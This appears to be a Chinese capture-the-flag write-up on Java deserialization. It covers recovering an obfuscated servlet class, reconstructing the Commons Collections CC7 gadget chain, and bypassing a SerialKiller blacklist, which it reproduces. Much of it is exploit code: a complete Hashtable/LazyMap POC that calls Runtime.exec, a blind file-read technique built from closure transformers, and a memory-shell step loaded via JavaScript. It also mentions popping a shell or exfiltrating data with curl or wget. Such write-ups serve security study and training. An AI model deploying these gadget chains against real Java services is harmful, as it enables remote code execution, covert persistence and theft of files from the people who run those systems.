file协议任意读文件,但下载下面的class文件无法反编译
Decompile problem
全部取反,开头改成CAFEBABE
Copy def invert_file_bits ( input_file , output_file ):
with open (input_file, 'rb' ) as f_in :
with open (output_file, 'wb' ) as f_out :
byte = f_in . read ( 1 )
while byte :
inverted_byte = bytes ([ ~ byte[ 0 ] & 0x FF ])
f_out . write (inverted_byte)
byte = f_in . read ( 1 )
input_file_path = "CmdServlet.class"
output_file_path = "CmdServlet2.class"
invert_file_bits (input_file_path, output_file_path)
反编译后修改的源码也放在仓库了👉Click Me
CC7 recap
后半段和CC6一样,都是调用 LazyMap#get -> Transformer#transform
,不过source变了。
HashMap
的父类为AbstractMap
,当比较两个HashMap
时调用的是父类AbstractMap
的equals
java.util.AbstractMap#equals
Copy public boolean equals( Object o) {
if (o == this )
return true ;
if ( ! (o instanceof Map))
return false ;
Map < ? , ? > m = ( Map<? , ?> ) o;
if ( m . size () != size() )
return false ;
try {
Iterator < Entry < K , V >> i = entrySet() . iterator ();
while ( i . hasNext ()) {
Entry < K , V > e = i . next ();
K key = e . getKey ();
V value = e . getValue ();
if (value == null ) {
if ( ! ( m . get (key) == null && m . containsKey (key)))
return false ;
} else {
if ( ! value . equals ( m . get (key))) 👈 Look Me👋
return false ;
}
}
} // ...error catch
return true ;
}
比较对象需要满足如下条件才和原Map相等:
Map
类的实例(o instanceof Map
)
大小和原Map相同(m.size() == size()
)
其中第三点会获取比较对象中key
对应的value
(m.get(key)
),让比较对象m为LazyMap
即可触发后半段链子。
LazyMap
的equals
也是调用的父类(AbstractMapDecorator
)的equals
Copy // AbstractMapDecorator#equals
public boolean equals( Object object) {
if (object == this ) {
return true ;
}
return map . equals (object); 👈 Look Me👋
}
这里的map就是LazyMap.decorate
传进来的map
因此我们构造两个LazyMap,一个用于触发HashMap#equals
,一个用于触发Transformer#transform
Copy Transformer [] transformers = new Transformer [] {
new ConstantTransformer(( Runtime . class )) ,
new InvokerTransformer( "getMethod" , new Class []{ String . class , Class [] . class } , new Object []{ "getRuntime" , null }) ,
new InvokerTransformer( "invoke" , new Class []{ Object . class , Object [] . class } , new Object []{ null , null }) ,
new InvokerTransformer( "exec" , new Class []{ String . class } , new Object []{ "calc" })
};
Transformer chain = new ChainedTransformer(transformers) ;
Map map1 = new HashMap() ;
Map map2 = new HashMap() ;
Map lazyMap1 = LazyMap . decorate (map1 , chain);
Map lazyMap2 = LazyMap . decorate (map2 , chain);
lazyMap1 . put ( "1" , "2" );
lazyMap2 . put ( "3" , "4" );
lazyMap1 . equals (lazyMap2);
// LazyMap#equals -> AbstractMapDecorator#equals -> HashMap#equals -> AbstractMap#equals -> LazyMap#get
接着哪个类的readObject
能调到equals
Copy // The put method used by readObject
private void reconstitutionPut( Entry<? , ?> [] tab , K key , V value)
throws StreamCorruptedException
{
// Makes sure the key is not already in the hashtable.
int hash = key . hashCode ();
int index = (hash & 0x7FFFFFFF ) % tab . length ; 💭 最初put时tab . length = 0 , 即index = 0
for ( Entry < ? , ? > e = tab[index] ; e != null ; e = e . next ) {
if (( e . hash == hash) && e . key . equals (key)) { 👈 Look Me👋
throw new java . io . StreamCorruptedException ();
}
}
// Creates the new entry.
@ SuppressWarnings ( "unchecked" )
Entry < K , V > e = ( Entry< K , V > )tab[index];
tab[index] = new Entry <>(hash , key , value , e); 💭 Entry的hash即为key的hash
count ++ ;
}
先对传入的key进行哈希,根据哈希值获取索引
接着获取table对应索引的键值对Entry,若Entry的哈希和当前key的哈希相同,才能走到e.key.equals(key)
Hashtable#reconstitutionPut
由该类的readObject
调用
先将键值对进行反序列化,再传入reconstitutionPut
即我们放入Hashtable的两个LazyMap的哈希值需要相同
LazyMap
的hashCode
方法也是来自父类,返回this.map.hashCode()
而我们传入的LazyMap
的map为HashMap
,HashMap
的hashCode
也来自父类
Copy // AbstractMapDecorator#hashCode
public int hashCode() {
return map . hashCode ();
}
// AbstractMap#hashCode
public int hashCode() {
int h = 0 ;
Iterator < Entry < K , V >> i = entrySet() . iterator ();
while ( i . hasNext ())
h += i . next () . hashCode ();
return h;
}
HashMap#entrySet
获取到的Entry
为HashMap
定义的内部类Node
(其实现了Map.Entry<K,V>
)
Copy // HashMap$Node#hashCode
public final int hashCode() {
return Objects . hashCode (key) ^ Objects . hashCode (value);
}
分别对key和value进行哈希后异或,value设置相同即可,比如都为1
问题是key不同(因为后面LazyMap.get(key)
需要本身的map不含这个key),但需要其哈希相同,String的哈希可以进行碰撞
Copy // String
public int hashCode() {
int h = hash;
if (h == 0 && value . length > 0 ) {
char val[] = value;
for ( int i = 0 ; i < value . length ; i ++ ) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
即每次的哈希值×31,加上字符的ASCII
我们知道大小写字母的ASCII差32,刚好比31多1
因此可以取两个相邻的小写字母,比如o
和p
,第二轮计算时差了31,再取o
和P
,大小写错位刚好补上31
"oo".hashCode() == "pP".hashCode()
到此链子就打通了。
看到这或许你我都很疑惑,为什么还要绕一圈通过AbstractMapDecorator#equals
去调用AbstractMap#equals
呢
完全没有必要再多构造一个LazyMap
(ysoserial
中也是构造了两个LazyMap,可能是为了对称美?)
下面给出稍微简洁一点的POC
Copy import org . apache . commons . collections . Transformer ;
import org . apache . commons . collections . functors . ChainedTransformer ;
import org . apache . commons . collections . functors . ConstantTransformer ;
import org . apache . commons . collections . functors . InvokerTransformer ;
import org . apache . commons . collections . map . LazyMap ;
import java . io . ByteArrayInputStream ;
import java . io . ByteArrayOutputStream ;
import java . io . ObjectInputStream ;
import java . io . ObjectOutputStream ;
import java . lang . reflect . Field ;
import java . util . HashMap ;
import java . util . Hashtable ;
import java . util . Map ;
public class CC7 {
public static void main ( String [] args) throws Exception {
Transformer [] fake = new Transformer []{ new ConstantTransformer( 2 ) };
Transformer [] transformers = new Transformer []{
new ConstantTransformer(( Runtime . class )) ,
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer( "invoke" , new Class []{ Object . class , Object [] . class } , new Object []{ null , null }) ,
new InvokerTransformer( "exec" , new Class []{ String . class } , new Object []{ "calc" })
};
Transformer chain = new ChainedTransformer(fake) ;
Map map1 = new HashMap() ;
Map map2 = new HashMap() ;
Map lazyMap2 = LazyMap . decorate (map2 , chain);
map1 . put ( "yy" , 1 );
lazyMap2 . put ( "zZ" , 1 );
Hashtable hashtable = new Hashtable() ;
hashtable . put (map1 , 1 );
hashtable . put (lazyMap2 , 2 );
lazyMap2 . remove ( "yy" );
//输出两个元素的hash值
System . out . println ( "lazyMap1 hashcode:" + map1 . hashCode ());
System . out . println ( "lazyMap2 hashcode:" + lazyMap2 . hashCode ());
setValue(chain , "iTransformers" , transformers) ;
ByteArrayOutputStream barr = new ByteArrayOutputStream() ;
ObjectOutputStream oos = new ObjectOutputStream(barr) ;
oos . writeObject (hashtable);
oos . close ();
ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream( barr . toByteArray())) ;
ois . readObject ();
}
public static void setValue ( Object obj , String fieldName , Object newValue) throws Exception {
Class clazz = obj . getClass ();
Field field = clazz . getDeclaredField (fieldName);
field . setAccessible ( true );
field . set (obj , newValue);
}
}
调用栈:
java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec
🎣Hashtable的put问题:
构造EXP时,往Hashtable put也会触发到equals
这里需要执行到addEntry
才能真正把Map放到Hashtable
所以第二个判断条件entry.key.equals(key)
需要返回false
即这里m.get(key)
触发的transform
的返回值和当前value不同
因此fake中的ConstantTransformer
传2
Bypass SerialKiller
Copy < blacklist >
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
< regexp >org\.apache\.commons\.collections\.Transformer$</ regexp >
< regexp >org\.apache\.commons\.collections\.functors\.InstantiateFactory$</ regexp >
< regexp >com\.sun\.org\.apache\.xalan\.internal\.xsltc\.traxTrAXFilter$</ regexp >
< regexp >org\.apache\.commons\.collections\.functorsFactoryTransformer$</ regexp >
< regexp >javax\.management\.BadAttributeValueExpException$</ regexp >
< regexp >org\.apache\.commons\.collections\.keyvalue\.TiedMapEntry$</ regexp >
< regexp >org\.apache\.commons\.collections\.functors\.ChainedTransformer$</ regexp >
< regexp >com\.sun\.org\.apache\.xalan\.internal\.xsltc\.trax\.TemplatesImpl$</ regexp >
< regexp >com\.sun\.org\.apache\.xalan\.internal\.xsltc\.trax\.TrAXFilter$</ regexp >
< regexp >java\.security\.SignedObject$</ regexp >
< regexp >org\.apache\.commons\.collections\.Transformer$</ regexp >
< regexp >org\.apache\.commons\.collections\.functors\.InstantiateFactory$</ regexp >
< regexp >com\.sun\.org\.apache\.xalan\.internal\.xsltc\.traxTrAXFilter$</ regexp >
< regexp >org\.apache\.commons\.collections\.functorsFactoryTransformer$</ regexp >
<!-- ysoserial's CommonsCollections2,4 payload -->
< regexp >org\.apache\.commons\.beanutils\.BeanComparator$</ regexp >
< regexp >org\.apache\.commons\.collections\.Transformer$</ regexp >
< regexp >com\.sun\.rowset\.JdbcRowSetImpl$</ regexp >
< regexp >java\.rmi\.registry\.Registry$</ regexp >
< regexp >java\.rmi\.server\.ObjID$</ regexp >
< regexp >java\.rmi\.server\.RemoteObjectInvocationHandler$</ regexp >
< regexp >org\.springframework\.beans\.factory\.ObjectFactory$</ regexp >
< regexp >org\.springframework\.core\.SerializableTypeWrapper\$MethodInvokeTypeProvider$</ regexp >
< regexp >org\.springframework\.aop\.framework\.AdvisedSupport$</ regexp >
< regexp >org\.springframework\.aop\.target\.SingletonTargetSource$</ regexp >
< regexp >org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</ regexp >
< regexp >org\.springframework\.core\.SerializableTypeWrapper\$TypeProvider$</ regexp >
< regexp >org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</ regexp >
< regexp >java\.util\.PriorityQueue$</ regexp >
< regexp >java\.lang\.reflect\.Proxy$</ regexp >
< regexp >javax\.management\.MBeanServerInvocationHandler$</ regexp >
< regexp >javax\.management\.openmbean\.CompositeDataInvocationHandler$</ regexp >
< regexp >java\.beans\.EventHandler$</ regexp >
< regexp >java\.util\.Comparator$</ regexp >
< regexp >org\.reflections\.Reflections$</ regexp >
</ blacklist >
Ban了一堆偏偏InvokerTransformer
不Ban。。。。😅
Ban了TiedMapEntry
,只能用CC7的source
Ban了ChainedTransformer
,如何进行链式调用呢?
回想CC1的两个版本LazyMap
和TransformedMap
,其利用的就是对value
的get
和set
操作时会触发transform
根据LazyMap
类的描述,当获取LazyMap
中key
对应的值时,若key
不存在,则通过factory
将key转化(transform
)得到对应的value,再放入map中,LazyMap
之所以Lazy
就是因为这种延迟的transform
懒加载,不是put
的时候就transform
,而是get
的时候才transform
When the get(Object) method is called with a key that does not exist in the map, the factory is used to create the object. The created object will be added to the map using the requested key.
反观TransformedMap
,它就不Lazy
了,实现了自己的put
方法,先对key
和value
进行transform
再放入map
中
Copy public Object put( Object key , Object value) {
key = transformKey(key) ;
value = transformValue(value) ;
return getMap() . put (key , value);
}
protected Object transformKey( Object object) {
if (keyTransformer == null ) {
return object;
}
return keyTransformer . transform (object);
}
protected Object transformValue( Object object) {
if (valueTransformer == null ) {
return object;
}
return valueTransformer . transform (object);
}
注意到TransformedMap#put
这里就存在递归调用put
了,让当前的map
为TransformedMap
即可
(TransformedMap
的父类和LazyMap
一样,也是AbstractMapDecorator
,刚好可以接上CC7)
LazyMap#get
这就可以作为递归调用的入口
Copy public Object get( Object key) {
// create value for key if key is not currently in the map
if ( map . containsKey (key) == false ) {
Object value = factory . transform (key);
map . put (key , value); 💭 recursive call begin✌️
return value;
}
return map . get (key);
}
本题没能回显,也没过滤掉Runtime
等命令执行类,若能出网直接弹shell,或者curl、wget等外带数据,亦或者打JDNI,但受JDK版本限制
不出网利用只能依靠字节码加载了,但把TemplatesImpl
给Ban了。
Exploitation Without Internet Access
Blind File Read
URL类 + file
协议读文件
Copy import java . io . InputStream ;
import java . net . URL ;
import java . net . URLConnection ;
public class Test {
public static void main ( String [] args) throws Exception {
URL url = new URL( "file:///E:/flag.txt" ) ;
URLConnection connection = url . openConnection ();
InputStream inputStream = connection . getInputStream ();
byte [] buffer = new byte [ 1024 ];
int bytesRead;
while ((bytesRead = inputStream . read (buffer)) != - 1 ) {
String content = new String(buffer , 0 , bytesRead) ;
System . out . println (content);
}
inputStream . close ();
}
}
可以通过类似盲注的方法来确定每一个字符
org.apache.commons.collections.functors.ClosureTransformer
Copy public Object transform( Object input) {
iClosure . execute (input);
return input;
}
Closure
是一个接口,由该接口的描述可知该接口代表了一些基础的代码块(如循环语句、条件语句)
A Closure represents a block of code which is executed from inside some block, function or iteration. It operates an input object.
从它的实现类中可以找到几个有用的
Copy // TransformerClosure
public void execute( Object input) {
iTransformer . transform (input);
}
Copy // ForClosure
public void execute( Object input) {
for ( int i = 0 ; i < iCount; i ++ ) {
iClosure . execute (input);
}
}
Copy // NOPClosure
public void execute( Object input) {
// do nothing
}
Copy // ExceptionClosure
public void execute( Object input) {
throw new FunctorException( "ExceptionClosure invoked" ) ;
}
Copy // IfClosure
public void execute( Object input) {
if ( iPredicate . evaluate (input) == true ) {
iTrueClosure . execute (input);
} else {
iFalseClosure . execute (input);
}
}
IfClosure
用来条件判断,其中iPredicate
是Predicate
接口类,条件谓词
我们需要判断字符是否相等,使用EqualPredicate
Copy // EqualPredicate
public boolean evaluate( Object object) {
return ( iValue . equals (object));
}
当条件为真时(iTrueClosure
)调用NOPClosure
、条件为假时(iFalseClosure
)调用ExceptionClosure
ForClosure
和TransformerClosure
配合读取指定位置的字符
完整代码👉CCRead.java
Js To LoadClass
虽然禁了TemplatesImpl
,但只要能任意方法调用,就还有很多方法可以加载字节码,这边用JS加载比较方便
具体代码放仓库了👉Click Me
/shell
访问Filter
内存马